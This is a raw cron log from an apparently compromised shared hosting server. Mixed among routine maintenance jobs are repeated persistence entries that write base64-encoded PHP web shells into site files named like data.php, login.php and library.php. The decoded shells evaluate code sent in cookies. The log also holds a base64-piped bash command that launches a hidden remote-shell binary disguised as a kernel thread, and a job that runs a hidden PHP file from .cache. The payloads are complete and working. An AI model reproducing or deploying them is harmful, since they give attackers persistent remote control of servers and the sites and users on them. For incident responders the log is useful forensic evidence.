Mar  2 06:59:01 medusa CROND[20637]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:59:01 medusa CROND[20635]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 06:59:01 medusa CROND[20638]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 06:59:01 medusa CROND[20639]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 06:59:01 medusa CROND[20641]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 06:59:01 medusa CROND[20643]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 07:00:01 medusa CROND[6932]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Mar  2 07:00:01 medusa CROND[6989]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 07:00:01 medusa CROND[7060]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 07:00:01 medusa CROND[7115]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 07:00:02 medusa CROND[7238]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:00:02 medusa CROND[7239]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7240]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 07:00:02 medusa CROND[7241]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7242]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7243]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:00:02 medusa CROND[7244]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7245]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7248]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:00:02 medusa CROND[7251]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7254]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7258]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 07:00:02 medusa CROND[7260]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:00:02 medusa CROND[7261]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7247]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 07:00:02 medusa CROND[7265]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 07:00:02 medusa CROND[7252]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 07:00:02 medusa CROND[7268]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 07:00:02 medusa CROND[7288]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7290]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7289]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7297]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:00:02 medusa CROND[7298]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7302]: (root) CMD (/nutscripts/rm-bkp.sh > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7306]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 07:00:02 medusa CROND[7296]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 07:00:02 medusa CROND[7309]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  2 07:00:02 medusa CROND[7313]: (wmondolo) CMD (/usr/bin/php -q /home12/wmondolo/public_html/lista/cron_insert_turno.php > /dev/null)
Mar  2 07:00:02 medusa CROND[7314]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:00:02 medusa CROND[7318]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:00:02 medusa CROND[7322]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:00:02 medusa CROND[7323]: (root) CMD (/usr/bin/test -e /etc/cpanel-dovecot-solrdisable || /usr/local/cpanel/3rdparty/scripts/cpanel_dovecot_solr_commit)
Mar  2 07:00:02 medusa CROND[7328]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 07:00:02 medusa CROND[7329]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 07:00:02 medusa CROND[7331]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 07:01:01 medusa CROND[19831]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 07:01:01 medusa CROND[19918]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 07:01:01 medusa run-parts(/etc/cron.hourly)[19918]: starting 0anacron
Mar  2 07:01:01 medusa run-parts(/etc/cron.hourly)[19942]: finished 0anacron
Mar  2 07:01:01 medusa CROND[20060]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 07:01:01 medusa CROND[20125]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 07:01:01 medusa CROND[20126]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 07:01:01 medusa CROND[20127]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 07:01:01 medusa CROND[20131]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 07:01:01 medusa CROND[20133]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 07:01:01 medusa CROND[20134]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 07:01:01 medusa CROND[20148]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
